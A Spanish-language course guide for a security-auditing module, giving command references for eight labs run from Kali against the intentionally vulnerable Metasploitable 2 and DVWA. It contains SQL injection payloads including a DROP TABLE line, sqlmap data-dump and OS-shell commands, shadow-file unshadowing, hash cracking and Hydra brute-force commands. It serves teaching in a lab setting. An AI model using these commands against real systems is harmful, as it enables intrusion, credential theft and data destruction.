

MF0487_3 - AUDITORIA DE SEGURIDAD INFORMATICA

Guia de Herramientas por Laboratorio

Referencia rapida: comandos, flags y ejemplos de uso
LAB-01 a LAB-08 — Kali Linux Purple + Metasploitable 2
Entorno: 2 maquinas | Auditor: Kali Linux Purple | Objetivo: Metasploitable 2

Lab	Titulo	Herramientas principales
LAB-01	Reconocimiento y Descubrimiento	Nmap, Netdiscover, Maltego CE
LAB-02	Analisis de Vulnerabilidades	OpenVAS / GVM, Nmap NSE --script vuln
LAB-03	Analisis de Protocolos	Wireshark, tcpdump, arp-scan, hping3
LAB-04	Auditoria de Aplicaciones Web	Burp Suite, sqlmap, Nikto, OWASP ZAP
LAB-05	Auditoria de Cortafuegos	Nmap (sA/sF/sX/sN/sW), hping3, firewalk, iptables
LAB-06	Analisis de Contraseñas	John the Ripper, Hashcat, Hydra, hash-identifier
LAB-07	Analisis de Riesgos MAGERIT	OpenVAS (export), plantillas MAGERIT v3 + NIST 800-30
LAB-08	Informe de Auditoria Final	Integracion de todos los laboratorios — ISO 27007

01

Reconocimiento y Descubrimiento de Activos

Herramientas: Nmap - Netdiscover - Maltego CE

Nmap — Network Mapper

El escaner de red mas completo. Detecta hosts activos, puertos abiertos, versiones de servicios y sistema operativo. La herramienta principal de toda la fase de reconocimiento activo.

Herramienta	Proposito en el lab	Flags / opciones clave	Comando de referencia
Nmap - ping scan	Descubrir hosts activos sin escanear puertos	-sn (no port scan) -PE (ICMP echo) -PP (ICMP timestamp)	<code>sudo nmap -sn <subred>/24 -oN pingscan.txt</code>
Nmap - SYN scan	Escaneo rapido y silencioso de puertos TCP (root requerido)	-sS (SYN stealth) -p- (65535 puertos) -T3 (velocidad moderada)	<code>sudo nmap -sS -p- -T3 <IP_META> -oN full_syn.txt</code>
Nmap - version	Detectar versiones exactas de servicios activos	-sV (version detection) --version-intensity 5 -sC (scripts por defecto)	<code>sudo nmap -sV -sC <IP_META> -oN versiones.txt</code>
Nmap - OS detection	Identificar el sistema operativo del objetivo	-O (OS detection) -A (agresivo: OS+ver+scripts+traceroute) --osscan-guess	<code>sudo nmap -O <IP_META> -oN os_detect.txt</code>
Nmap - NSE vuln	Detectar vulnerabilidades conocidas con scripts	-sV --script vuln --script=safe --script ftp-anon	<code>sudo nmap --script vuln <IP_META> -p 21,22,80 -oN nse_vuln.txt</code>
Nmap - UDP scan	Escanear puertos UDP (mas lento que TCP)	-sU (UDP scan) --top-ports 50 -T2 (velocidad baja)	<code>sudo nmap -sU --top-ports 50 <IP_META> -oN udp_scan.txt</code>
Nmap - formatos	Guardar resultados en multiples formatos para Nessus/OpenVAS	-oN (normal, legible) -oX (XML, para OpenVAS) -oG (grepable)	<code>sudo nmap -sV <IP_META> -oX inventario.xml -oN inventario.txt</code>

Flags Nmap mas usados — referencia rapida

Flag	Significado	Flag	Significado
-sS	SYN scan (stealth)	-sT	TCP connect scan (sin root)
-sU	UDP scan	-sA	ACK scan (detecta firewall)
-sV	Version detection	-sC	Default scripts NSE
-O	OS detection	-A	Agresivo (O+V+C+traceroute)
-p-	Todos los puertos	-p 22,80,443	Puertos especificos
--top-ports 1000	Top 1000 puertos	-T0..T5	Velocidad (0=paranoid, 5=insane)
-oN file.txt	Salida normal	-oX file.xml	Salida XML
-Pn	Sin ping (host asumido activo)	--open	Solo mostrar puertos abiertos
--script=<name>	Ejecutar script NSE	-v / -vv	Verbose / muy verbose

Netdiscover — ARP Discovery

Descubrimiento de hosts mediante peticiones ARP. Mas silencioso que Nmap en la fase inicial porque no genera trafico TCP/UDP.

Herramienta	Proposito en el lab	Flags / opciones clave	Comando de referencia
Netdiscover	Descubrir hosts activos en la red local mediante ARP	-r <subred>/24 (rango) -i <iface> (interfaz) -p (modo pasivo, sin enviar ARP)	<code>sudo netdiscover -r <subred>/24 -i eth0</code>

Netdiscover pasivo	Escuchar ARP sin enviar peticiones — maxima discrecion	-p (passive mode) -s <ms> (sleep entre peticiones)	<code>sudo netdiscover -p -i eth0</code>
--------------------	--	--	--

Maltego CE — Analisis de Relaciones

Visualizacion grafica de relaciones entre activos de red. En este laboratorio se usa para mapear la topologia descubierta, no para OSINT externo.

Herramienta	Proposito en el lab	Flags / opciones clave	Comando de referencia
Maltego CE	Crear grafo de activos y relaciones	IPv4 Address entity To Ports and Services transform Manual entity linking	<code>Abrir Maltego -> New Graph -> arrastrar IPv4 Address</code>
Export graph	Exportar el grafo como evidencia del inventario	File -> Export Graph -> PNG File -> Export Graph -> CSV	<code>File > Export Graph > As Image (PNG) -> grafo_activos.png</code>

02

Análisis de Vulnerabilidades

Herramientas: OpenVAS / GVM - Nmap NSE

OpenVAS / GVM — Greenbone Vulnerability Manager

Escaner de vulnerabilidades de código abierto. Detecta CVEs, misconfiguraciones y servicios inseguros mediante una base de datos de más de 80.000 pruebas (NVTs). En Kali se accede vía navegador a la interfaz GSA (Greenbone Security Assistant).

Herramienta	Propósito en el lab	Flags / opciones clave	Comando de referencia
gvm-start	Arrancar todos los servicios de OpenVAS/GVM	Ejecutar después de cada reinicio de Kali Esperar ~2 min a que arranquen todos los servicios	<code>sudo gvm-start</code>
gvm-check-setup	Verificar que la instalación es correcta	Comprobar que todos los componentes están OK Muestra errores de configuración	<code>sudo gvm-check-setup</code>
GSA Web Interface	Acceso a la interfaz gráfica de escaneo	Scans -> Tasks -> New Task Scans -> Reports -> Download Configuration -> Credentials	<code>http://127.0.0.1:9392</code> (usuario: admin)
gvm-cli	Interacción por línea de comandos con el daemon GVM	<code>--gmp-username admin --gmp-password admin --xml '<comando_XML>'</code>	<code>gvm-cli socket --gmp-username admin --gmp-password admin --xml '<get_tasks/>'</code>
Importar XML Nmap	Importar el inventario Nmap como base de escaneo	Configuration -> Targets -> New Target Import from file (XML Nmap LAB-01)	GSA: Configuration > Targets > New Target > Import from file
Exportar informe	Exportar resultados para el informe de auditoría	Reports -> Download filtered Report Formats: XML, CSV, PDF, HTML	GSA: Scans > Reports > seleccionar > Download > XML o CSV

Flujo de trabajo OpenVAS — de principio a fin

1. Arrancar servicios

```
sudo gvm-start
# Esperar mensaje: 'Greenbone Security Assistant ready'
```

2. Crear target y escanear

```
# Navegador: http://127.0.0.1:9392
# Scans > Tasks > New Task > nombre: 'Meta_Full'
# Target: <IP_META> | Scan Config: Full and Fast
# Guardar y lanzar (icono Play)
```

3. Exportar resultados

```
# Scans > Reports > seleccionar el scan
# Download > CSV Results (para mapear a MAGERIT en LAB-07)
# Download > XML (para importar en herramientas SIEM)
```

Nmap NSE — Scripts de Detección de Vulnerabilidades

Los scripts NSE de Nmap complementan OpenVAS para verificaciones rápidas puntuales sin lanzar un escaneo completo.

Herramienta	Propósito en el lab	Flags / opciones clave	Comando de referencia
--script vuln	Ejecutar todos los scripts de categoría 'vuln'	Ejecutar sobre puertos específicos para mayor velocidad Resultados son orientativos, confirmar con OpenVAS	<code>sudo nmap --script vuln <IP_META> -p 21,22,80,139,443,445 -oN nse_vuln.txt</code>

--script ftp-anon	Verificar si FTP permite acceso anonimo	ftp-anon: verifica login anonimo ftp-bounce: verifica bounce attack	<code>sudo nmap --script ftp-anon,ftp-bounce <IP_META> -p 21</code>
--script http-enum	Enumerar directorios y rutas web conocidas	http-enum: fuerza bruta de rutas comunes http-title: obtener titulos de paginas http-headers: ver cabeceras HTTP	<code>sudo nmap --script http-enum,http-title,http-headers <IP_META> -p 80,8180</code>
--script smb-vuln*	Detectar vulnerabilidades SMB (EternalBlue, etc.)	smb-vuln-ms17-010: EternalBlue smb-vuln-cve-2007-2447: Samba smb-security-mode	<code>sudo nmap --script 'smb-vuln*' <IP_META> -p 139,445</code>
--script ssh-*	Informacion y enumeracion de SSH	ssh-hostkey: obtener host key ssh-auth-methods: metodos de autenticacion ssh2-enum-algos	<code>sudo nmap --script ssh-hostkey,ssh-auth-methods <IP_META> -p 22</code>

03

Análisis de Protocolos de Red

Herramientas: Wireshark - tcpdump - arp-scan - hping3

Wireshark — Analizador de Protocolos

La herramienta de referencia para la captura y análisis de tráfico de red. Permite diseccionar protocolos, seguir conversaciones TCP/UDP y extraer datos en texto claro (credenciales Telnet, FTP, HTTP).

Herramienta	Propósito en el lab	Flags / opciones clave	Comando de referencia
Captura de interfaz	Capturar todo el tráfico en una interfaz de red	Capture -> Interfaces -> seleccionar eth0 Capture -> Start Stop: Ctrl+E Guardar: File -> Save As -> .pcap	wireshark & # GUI. Para CLI usar tcpdump
Filtros de display	Filtrar el tráfico capturado en tiempo real o en fichero	ip.addr == <IP_META> tcp.port == 23 (Telnet) http ftp ssh arp	Barra de filtros: escribir y pulsar Enter
Follow TCP Stream	Reconstruir la sesión completa de una conexión TCP	Clic derecho en paquete TCP -> Follow -> TCP Stream Muestra la conversación completa (credenciales Telnet visibles)	Clic derecho en paquete Telnet -> Follow > TCP Stream
Exportar objetos HTTP	Extraer ficheros transferidos por HTTP	File -> Export Objects -> HTTP Seleccionar los ficheros a guardar	File > Export Objects > HTTP > Save All
Estadísticas	Resumen de protocolos y endpoints del tráfico capturado	Statistics -> Protocol Hierarchy Statistics -> Conversations Statistics -> Endpoints	Statistics > Protocol Hierarchy
io.stat / graficas	Ver el volumen de tráfico a lo largo del tiempo	Statistics -> I/O Graph Util para detectar ataques DoS o picos de tráfico anómalos	Statistics > I/O Graph

Filtros Wireshark esenciales para el laboratorio

Flag	Significado	Flag	Significado
ip.addr==<IP>	Todo el tráfico de/hacia una IP	tcp.port==23	Todo el tráfico Telnet
tcp.port==21	Tráfico FTP	tcp.port==80	Tráfico HTTP
ftp	Protocolo FTP decodificado	ftp-data	Transferencia de datos FTP
telnet	Protocolo Telnet decodificado	http	Protocolo HTTP decodificado
arp	Solo paquetes ARP	icmp	Solo paquetes ICMP
tcp.flags.syn==1	Paquetes SYN (inicio conexión)	tcp.flags.reset==1	Paquetes RST (rechazo)
!(ip.addr==<IP>)	Excluir tráfico de una IP	tcp contains 'password'	Buscar texto 'password' en TCP

tcpdump — Captura CLI

Alternativa a Wireshark para captura en línea de comandos. Ideal para servidores sin GUI o para scripts automatizados.

Herramienta	Propósito en el lab	Flags / opciones clave	Comando de referencia
tcpdump básico	Capturar tráfico y guardar en fichero pcap	-i eth0 (interfaz) -w file.pcap (escribir a fichero) -r file.pcap (leer fichero) -n (no resolver DNS)	sudo tcpdump -i eth0 -w captura.pcap

tcpdump con filtro	Capturar solo trafico de interes	host <IP_META> (solo esa IP) port 23 (solo Telnet) tcp (solo TCP) 'tcp port 21 or tcp port 23'	<code>sudo tcpdump -i eth0 host <IP_META> -w meta_trafico.pcap</code>
tcpdump Telnet	Capturar y mostrar credenciales Telnet en texto claro	-A (mostrar contenido ASCII) -l (buffer de linea) port 23	<code>sudo tcpdump -i eth0 -A port 23 grep -i 'login\ password\ pass'</code>

arp-scan — Descubrimiento ARP

Herramienta	Proposito en el lab	Flags / opciones clave	Comando de referencia
arp-scan	Descubrir todos los hosts activos en la red local via ARP	--localnet (escanear toda la red local) -I eth0 (interfaz) --retry=2 (reintentos)	<code>sudo arp-scan --localnet -I eth0</code>

hping3 — Generador de Paquetes TCP/IP

Herramienta de bajo nivel para enviar paquetes TCP, UDP, ICMP personalizados. Se usa en LAB-03 para pruebas de protocolo y en LAB-05 para analisis de firewall.

Herramienta	Proposito en el lab	Flags / opciones clave	Comando de referencia
hping3 SYN	Enviar paquetes SYN a un puerto especifico	-S (SYN flag) -p <puerto> (puerto destino) -c <N> (numero de paquetes) -V (verbose)	<code>hping3 -S -p 80 -c 3 -V <IP_META></code>
hping3 ICMP	Enviar ICMP echo (ping alternativo)	--icmp (modo ICMP) --icmp-type 8 (echo request) --icmp-type 13 (timestamp)	<code>hping3 --icmp <IP_META> -c 3</code>
hping3 UDP	Enviar paquetes UDP	--udp (modo UDP) -p <puerto>	<code>hping3 --udp -p 53 <IP_META> -c 3</code>
hping3 ACK	Probar respuesta del firewall a paquetes ACK (LAB-05)	-A (ACK flag) -p <puerto> (a probar)	<code>hping3 -A -p 80 <IP_META> -c 3 -V</code>

04

Auditoria de Aplicaciones Web

Herramientas: Burp Suite - sqlmap - Nikto - OWASP ZAP

Burp Suite Community — Proxy de Intercepcion Web

El estandar de la industria para la auditoria de aplicaciones web. Actua como proxy HTTP/HTTPS entre el navegador y el servidor, permitiendo interceptar, modificar y repetir peticiones. La version Community (gratuita) incluye Proxy, Repeater, Intruder e Interceptor.

Herramienta	Proposito en el lab	Flags / opciones clave	Comando de referencia
Proxy	Interceptar y modificar peticiones HTTP en tiempo real	Activar Intercept: Proxy -> Intercept -> On Configurar navegador: proxy 127.0.0.1:8080 Forward / Drop peticiones	Proxy > Intercept > activar; Firefox: proxy manual 127.0.0.1:8080
Repeater	Reenviar y modificar peticiones de forma repetida	Clic derecho en peticion -> Send to Repeater Modificar parametros (ej: payload SQLi) Send y analizar Response	Clic derecho en peticion -> Send to Repeater -> Ctrl+R para reenviar
Intruder	Automatizar ataques de fuerza bruta y fuzzing	Clic derecho -> Send to Intruder Positions: marcar parametros con SS Payloads: cargar wordlist Attack types: Sniper, Battering ram, Pitchfork	Clic derecho -> Send to Intruder -> Positions -> SS alrededor del valor
Decoder	Codificar/decodificar payloads (URL, Base64, HTML)	Decoder tab -> pegar texto -> decodificar/codificar Util para payloads URL-encoded en SQLi o XSS	Decoder > pegar payload > As URL / As Base64
Target > Site map	Ver mapa del sitio web auditado con todas las rutas	Target -> Site Map -> ver estructura Filtrar por hosts y rutas de interes	Target > Site Map > filtrar por <IP_META>
Certificado SSL	Instalar el certificado de Burp para HTTPS	Acceder a http://burp -> Download CA certificate Instalar en el navegador -> Burp puede interceptar HTTPS	http://burp -> CA Certificate -> importar en Firefox: about:preferences#privacy

Payloads SQLi esenciales para el laboratorio (DVWA)

DVWA Brute Force — parametro id

```
1' OR '1'='1          # Bypass autenticacion basico
1' OR 1=1--          # Comentario SQL tras inyeccion
' UNION SELECT null,null--      # Detectar columnas
' UNION SELECT user(),version()-- # Info del servidor
' UNION SELECT user,password FROM users-- # Extraer usuarios
1; DROP TABLE users-- # Destruccion (NUNCA en produccion)
```

sqlmap — Automatizacion de SQL Injection

Herramienta automatizada para detectar y explotar vulnerabilidades de SQL Injection. Soporta todos los tipos de SQLi y puede extraer datos de la BD, ejecutar comandos OS y obtener shells.

Herramienta	Proposito en el lab	Flags / opciones clave	Comando de referencia
sqlmap basico	Detectar SQLi en una URL con	-u (URL objetivo) --dbs (listar bases de datos) --batch (sin confirmaciones)	sqlmap -u 'http://<IP_META>/dvwa/vulnerabilities/sql/?id=1&Submit=Submit' --cookie='PHPSESSID=<cookie>;security=low' --dbs --batch

	parametro vulnerable	interactivas) --level=3 (nivel de tests)	
sqlmap - extraer	Extraer tablas y datos de una BD especifica	-D <BD> (base de datos) -T <tabla> (tabla) --dump (volcar datos) --columns (listar columnas)	<code>sqlmap -u '<URL>' --cookie='...' -D dvwa -T users --dump --batch</code>
sqlmap - OS shell	Intentar obtener una shell del SO (si el usuario MySQL lo permite)	--os-shell (shell interactiva) --os-cmd='<cmd>' (ejecutar comando) Requiere FILE privilege en MySQL	<code>sqlmap -u '<URL>' --cookie='...' --os-shell --batch</code>
sqlmap - formulario	Escanear un formulario web completo	--forms (detectar formularios automaticamente) -p <param> (parametro especifico) --data='<POST_data>'	<code>sqlmap -u 'http://<IP_META>/dvwa/login.php' --forms --batch -level=2</code>

Nikto — Escaner de Vulnerabilidades Web

Escaner de servidores web que detecta ficheros peligrosos, versiones inseguras, misconfiguraciones y cabeceras de seguridad ausentes. Rapido y ruidoso (no es sigiloso).

Herramienta	Proposito en el lab	Flags / opciones clave	Comando de referencia
Nikto basico	Escanear un servidor web en busca de vulnerabilidades conocidas	-h (host objetivo) -p (puerto, defecto 80) -ssl (usar HTTPS) -o (fichero de salida)	<code>nikto -h http://<IP_META> -o nikto_meta.txt</code>
Nikto Tomcat	Escanear Tomcat (puerto 8180) en Metasploitable 2	Detecta manager expuesto, credenciales por defecto tomcat/tomcat es credencial por defecto	<code>nikto -h http://<IP_META>:8180 -o nikto_tomcat.txt</code>
Nikto con cookie	Escanear paginas que requieren autenticacion	-cookies 'PHPSESSID=<cookie>;security=low'	<code>nikto -h http://<IP_META>/dvwa -cookies 'PHPSESSID=<cookie>;security=low'</code>

OWASP ZAP — Zed Attack Proxy

Alternativa a Burp Suite, completamente gratuita y de codigo abierto. Incluye escaner automatico, spider y fuzzer. Especialmente util para hacer un primer escaneo rapido antes del analisis manual con Burp.

Herramienta	Proposito en el lab	Flags / opciones clave	Comando de referencia
ZAP Spider	Rastrear automaticamente todas las rutas del sitio web	Tools -> Spider -> URL inicial -> Start Scan Ver todas las URLs descubiertas en el panel Sites	<code>Tools > Spider > URL: http://<IP_META>/dvwa > Start Scan</code>
ZAP Active Scan	Escaneo activo automatizado de vulnerabilidades	Tools -> Active Scan -> seleccionar nodo del site map Report -> Generate Report -> HTML	<code>Tools > Active Scan > seleccionar <IP_META> > Start Scan</code>
ZAP Alerts	Ver vulnerabilidades detectadas clasificadas por riesgo	Alerts tab: High / Medium / Low / Informational Cada alerta incluye evidencia y recomendacion	<code>Panel Alerts > filtrar por High y Medium</code>

ZAP como proxy	Usar ZAP como proxy de intercepcion (similar a Burp)	Configurar Firefox: proxy 127.0.0.1:8080 Breakpoints para interceptar peticiones	Firefox > proxy manual 127.0.0.1:8080 > navegar el sitio
----------------	--	---	---

05

Auditoria de Cortafuegos

Herramientas: Nmap avanzado - hping3 -
firewalk - iptables

Nmap — Tecnicas de Fingerprinting de Firewall

Nmap incluye tipos de escaneo diseñados específicamente para inferir el comportamiento de un firewall: distinguir entre puertos bloqueados con DROP vs. REJECT, detectar si el firewall es stateful o stateless, e identificar reglas permisivas que deberían estar bloqueadas.

Herramienta	Proposito en el lab	Flags / opciones clave	Comando de referencia
SYN scan (-sS)	Escaneo base para mapear puertos OPEN/CLOSED/FILTERED	-sS TCP SYN OPEN: SYN-ACK CLOSED: RST FILTERED: sin respuesta	<code>sudo nmap -sS <IP_META> -p 1-1024 -oN nmap_syn.txt</code>
ACK scan (-sA)	Detectar si el firewall es stateful (conntrack) o stateless	-sA TCP ACK scan UNFILTERED: RST (stateless o sin regla) FILTERED: sin respuesta (stateful, descarta ACK sin SYN)	<code>sudo nmap -sA <IP_META> -p 21,22,23,80,443,3306 -oN nmap_ack.txt</code>
FIN scan (-sF)	Evadir firewalls stateless (explotan RFC 793)	-sF FIN scan -sX Xmas scan (FIN+PSH+URG) -sN Null scan (sin flags) Efectivo contra firewalls que filtran solo SYN	<code>sudo nmap -sF <IP_META> -p 80,445 -oN nmap_fin.txt</code>
Window scan (-sW)	Distinguir OPEN de CLOSED en puertos FILTERED	-sW Window scan Analiza el campo TCP Window en respuestas RST Mas efectivo que -sA en algunos sistemas	<code>sudo nmap -sW <IP_META> -p 21,22,80 -oN nmap_window.txt</code>
--source-port 53	Bypassear reglas que confían en trafico DNS	--source-port 53 (simular trafico DNS) Algunos firewalls permiten el puerto 53 sin verificar estado	<code>sudo nmap --source-port 53 <IP_META> -p 80,443 -oN nmap_src53.txt</code>
NSE firewall-bypass	Detectar si el firewall puede bypassarse con source port	--script firewall-bypass --script firewalk (NSE) --script ipidseq	<code>sudo nmap --script firewall-bypass,firewalk <IP_META></code>

Interpretacion de estados de puertos Nmap

Estado Nmap	Respuesta TCP recibida	Interpretacion del firewall	Accion recomendada en auditoria
OPEN	SYN-ACK (servicio responde)	El firewall permite el trafico y hay servicio activo	Documentar servicio y version. Evaluar si debe estar abierto.
CLOSED	RST (host responde, no servicio)	El firewall permite llegar al host pero no hay servicio en ese puerto	Confirmar que no hay servicio. Considera si el puerto debería filtrarse.
FILTERED	Sin respuesta o ICMP unreachable	El firewall descarta los paquetes (DROP rule) o red no enruta	Confirmar la regla DROP. Es el comportamiento correcto para puertos no usados.
UNFILTERED	RST en escaneo ACK	El firewall deja pasar el ACK: sin regla conntrack o stateless	En escaneo -sA: indica firewall stateless o sin regla para este puerto.
OPEN/FILTERED	Sin respuesta en scan FIN/Null/Xmas	Ambiguo: puede ser OPEN (UNIX) o FILTERED (firewall)	Usar -sV para confirmar si hay servicio. Complementar con hping3.

hping3 — Analisis de Firewall a Nivel de Paquete

Herramienta	Proposito en el lab	Flags / opciones clave	Comando de referencia
-------------	---------------------	------------------------	-----------------------

hping3 SYN probe	Probar respuesta del firewall a paquetes SYN en puertos clave	-S (SYN) -p <puerto> -c 3 (3 paquetes) -V (verbose: muestra flags de respuesta)	hping3 -S -p 80 -c 3 -V <IP_META> # SA=open, RA=closed, timeout=filtered
hping3 ACK probe	Detectar si el firewall tiene reglas stateful para ACK	-A (ACK flag) Stateful: sin respuesta Stateless: RST	hping3 -A -p 80 -c 3 -V <IP_META>
hping3 --ttl	Técnica firewalk manual con TTL decrementado	--ttl <N> (Time To Live) TTL a gateway: paquete llega al router y expira TTL al firewall: paquete llega al firewall (ICMP TTL exceeded si filtra)	hping3 -S -p 80 --ttl 5 <IP_META> -c 1 -V
hping3 timing DROP/REJECT	Distinguir DROP (timeout) de REJECT (RST inmediato)	Medir tiempo de respuesta: DROP = timeout (varios segundos) REJECT = RST inmediato (< 10ms)	time hping3 -S -p 9999 -c 1 <IP_META> # 'time' mide la espera
hping3 --baseport 53	Simular tráfico con puerto origen 53 (bypass DNS)	--baseport 53 (source port 53) Equivalente a nmap --source-port 53	hping3 -S -p 80 --baseport 53 <IP_META> -c 3 -V

firewalk — TTL Gateway Traversal

Herramienta	Proposito en el lab	Flags / opciones clave	Comando de referencia
firewalk	Determinar que puertos atraviesan el firewall usando TTL	-S <puertos> (puertos a probar) Fase 1: ramping (encontrar TTL hasta el gateway) Fase 2: scanning (probar puertos con ese TTL)	firewalk -S 21,22,23,80,443,445,3306 <IP_META>

iptables — Revision del Ruleset

Herramienta	Proposito en el lab	Flags / opciones clave	Comando de referencia
Listar reglas	Ver todas las reglas activas con contadores	-L (list) -n (no resolver DNS) -v (verbose, contadores) --line-numbers (numeracion de reglas)	sudo iptables -L -n -v --line-numbers
Exportar ruleset	Guardar el ruleset completo para el informe de auditoria	iptables-save > fichero (exportar) iptables-restore < fichero (restaurar)	sudo iptables-save > iptables_actual.txt
Politica por defecto	Ver y cambiar la politica por defecto de cada cadena	-P INPUT DROP (denegar todo por defecto) -P OUTPUT ACCEPT -P FORWARD DROP	sudo iptables -P INPUT DROP # Solo si tienes SSH activo primero
Añadir / eliminar regla	Agregar o borrar reglas especificas	-A INPUT (añadir al final) -I INPUT 1 (insertar al inicio) -D INPUT <N> (eliminar regla N)	sudo iptables -A INPUT -p tcp --dport 22 -j ACCEPT
Conntrack stateful	Agregar regla de seguimiento de estado (stateful firewall)	-m conntrack --ctstate ESTABLISHED,RELATED	sudo iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT

06

Análisis de Contraseñas

Herramientas: John the Ripper - Hashcat - Hydra - hash-identifier

hash-identifier / hashid — Identificación de Hashes

Herramienta	Propósito en el lab	Flags / opciones clave	Comando de referencia
hash-identifier	Identificar el tipo de hash de forma interactiva	Herramienta interactiva: pegar el hash y Enter Soporta MD5, SHA-1, SHA-256, SHA-512, bcrypt, etc.	<code>hash-identifier # interactivo, pegar hash cuando pida</code>
hashid	Identificar tipo de hash desde la línea de comandos	-m (mostrar modo hashcat correspondiente) -j (mostrar modo john) -e (extendido: mas algoritmos)	<code>hashid '5f4dcc3b5aa765d61d8327deb882cf99' -m</code>
unshadow	Combinar /etc/passwd y /etc/shadow para John	<code>unshadow <passwd> <shadow> > combined.txt</code> Necesario antes de usar John con ficheros shadow	<code>unshadow /etc/passwd /etc/shadow > combined.txt</code>

Prefijos crypt de Linux /etc/shadow

Prefijo	Algoritmo	Longitud hash	Resistencia	Aceptado ISO 27002:2022
\$1\$	MD5-crypt	22 chars base64	MUY BAJA — obsoleto	NO
\$2y\$ / \$2b\$	bcrypt	53 chars	ALTA — cost factor configurable	SI
\$5\$	SHA-256-crypt	43 chars	MEDIA	SI (marginal)
\$6\$	SHA-512-crypt	86 chars	MEDIA-ALTA	SI
32 hex (sin prefijo)	MD5 puro (ej: DVWA)	32 chars hex	MUY BAJA — trivial con GPU	NO

John the Ripper — Crackeo Offline

La herramienta clásica de crackeo de hashes por diccionario y fuerza bruta. Soporta cientos de formatos. Ideal para hashes del sistema Linux (/etc/shadow).

Herramienta	Propósito en el lab	Flags / opciones clave	Comando de referencia
John - single	Modo single: usa información GECOS del usuario para generar variantes	--single (modo single crack) Rápido. Prueba variantes del nombre de usuario como contraseña	<code>john --single combined.txt</code>
John - wordlist	Ataque de diccionario con rockyou.txt	--wordlist=<archivo> (ruta a la wordlist) /usr/share/wordlists/rockyou.txt (la más completa) Requiere descomprimir: <code>sudo gunzip rockyou.txt.gz</code>	<code>john --wordlist=/usr/share/wordlists/rockyou.txt combined.txt</code>
John - rules	Wordlist + transformaciones (mayúsculas, números al final, leetspeak)	--rules (reglas por defecto) --rules=Jumbo (reglas extendidas, más lento) --rules=KoreLogic (las más completas)	<code>john --wordlist=/usr/share/wordlists/rockyou.txt --rules combined.txt</code>
John - formato	Especificar el formato de hash	--format=Raw-MD5 (MD5 puro) --format=sha512crypt	<code>john --format=Raw-MD5 --wordlist=rockyou.txt dvwa_md5.txt</code>

	cuando no se detecta automáticamente	(Linux \$6\$) --format=bcrypt (bcrypt \$2y\$)	
John - show	Ver las contraseñas ya crackeadas	--show (mostrar resultados del .pot) --show=LEFT (mostrar los NO crackeados aun)	john --show combined.txt
John - restore	Reanudar un ataque interrumpido	--restore (reanudar la sesión guardada) John guarda el progreso en ~/.john/john.rec	john --restore

Hashcat — Crackeo con GPU

El crackeador de hashes más rápido del mundo. Aprovecha la GPU para procesar miles de millones de hashes por segundo. En entorno virtualizado usar -D 1 (CPU). Los modos de ataque (-a) y tipos de hash (-m) son la clave de su uso efectivo.

Herramienta	Propósito en el lab	Flags / opciones clave	Comando de referencia
Hashcat diccionario	Ataque de diccionario (modo -a 0)	-m 0 (MD5 puro) -m 1800 (sha512crypt \$6\$) -m 3200 (bcrypt) -D 1 (usar CPU en VM) --force (ignorar warnings de VM)	hashcat -m 0 -a 0 dvwa_md5.txt /usr/share/wordlists/rockyou.txt -D 1 --force --outfile resultados.txt
Hashcat mascara	Ataque por mascara / fuerza bruta (modo -a 3)	?l=minuscula ?u=mayuscula ?d=digito ?s=simbolo ?a=todos '?l?l?l?l?l?l?l?l' = 8 letras min '?u?l?l?l?l?d?d' = Mayus+4min+2dig	hashcat -m 0 -a 3 dvwa_md5.txt '?u?l?l?l?l?l?l?d?' -D 1 --force
Hashcat hibrido	Wordlist + mascara sufijo (modo -a 6) — cubre 'password2024'	Modo -a 6: wordlist + mascara al final Modo -a 7: mascara al inicio + wordlist	hashcat -m 0 -a 6 dvwa_md5.txt rockyou.txt '?d?d?d?d?' -D 1 --force
Hashcat reglas	Aplicar transformaciones a la wordlist	--rules=best64.rule (64 mejores transformaciones) --rules=rockyou-30000.rule (30000 reglas) -r /usr/share/hashcat/rules/best64.rule	hashcat -m 0 -a 0 dvwa_md5.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule -D 1 --force
Hashcat status	Ver progreso del ataque en tiempo real	--status (actualizar cada 10s) --status-timer=5 (actualizar cada 5s) También: pulsar 's' durante el ataque para ver estado	hashcat ... --status --status-timer=5

Tipos de hash Hashcat (-m) mas comunes

Flag	Significado	Flag	Significado
-m 0	MD5 puro (DVWA)	-m 100	SHA-1 puro
-m 1400	SHA-256 puro	-m 1800	sha512crypt \$6\$ (Linux shadow)
-m 500	md5crypt \$1\$ (Linux antiguo)	-m 3200	bcrypt \$2y\$ (PHP password_hash)
-m 200	MySQL3.x < 4.1	-m 300	MySQL4.1+ *hash
-m 1000	NTLM (Windows)	-m 2500	WPA/WPA2

Hydra — Fuerza Bruta en Red (Online)

Herramienta para ataques de fuerza bruta contra servicios de red activos. A diferencia de John/Hashcat, Hydra realiza conexiones reales al servicio. Soporta SSH, FTP, Telnet, HTTP, MySQL, RDP y muchos mas.

Herramienta	Propósito en el lab	Flags / opciones clave	Comando de referencia
-------------	---------------------	------------------------	-----------------------

Hydra SSH	Ataque de fuerza bruta contra SSH	-L <usuarios> (fichero de usuarios) -P <contrasenas> (fichero de contrasenas) -l admin (usuario unico) -p password (contrasena unica) -t 4 (hilos, SSH recomienda <= 4)	<code>hydra -L users.txt -P /usr/share/wordlists/rockyou.txt ssh://<IP_META> -t 4 -V -o hydra_ssh.txt</code>
Hydra FTP	Ataque de fuerza bruta contra FTP	-t 10 (mas hilos que SSH) -V (verbose, mostrar intentos) -f (parar al primer exito)	<code>hydra -L users.txt -P pass.txt ftp://<IP_META> -t 10 -V -f -o hydra_ftp.txt</code>
Hydra Telnet	Ataque de fuerza bruta contra Telnet	-t 4 (conservador, Telnet es lento) Al ser texto claro, es mas lento que SSH	<code>hydra -L users.txt -P pass.txt telnet://<IP_META> -t 4 -V -o hydra_telnet.txt</code>
Hydra HTTP form	Ataque a formulario web con cookie de sesion	http-get-form o http-post-form Formato: '/ruta/:user=^USER^&pass=^PASS^:F=texto_error' H=Cookie: ... (incluir cookie de sesion)	<code>hydra -l admin -P rockyou.txt <IP_META> http-get-form '/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:H=Cookie: PHPSESSID=<cookie>;security=low:F=Username and/or password incorrect' -t 10 -V</code>
Hydra MySQL	Ataque de fuerza bruta contra MySQL	mysql:// (protocolo MySQL) Util cuando MySQL esta expuesto en red (hallazgo F-02 LAB-05)	<code>hydra -l root -P pass.txt mysql://<IP_META> -t 4 -V</code>

Flags Hydra — referencia rapida

Flag	Significado	Flag	Significado
<code>-l <user></code>	Un usuario concreto	<code>-L <file></code>	Lista de usuarios
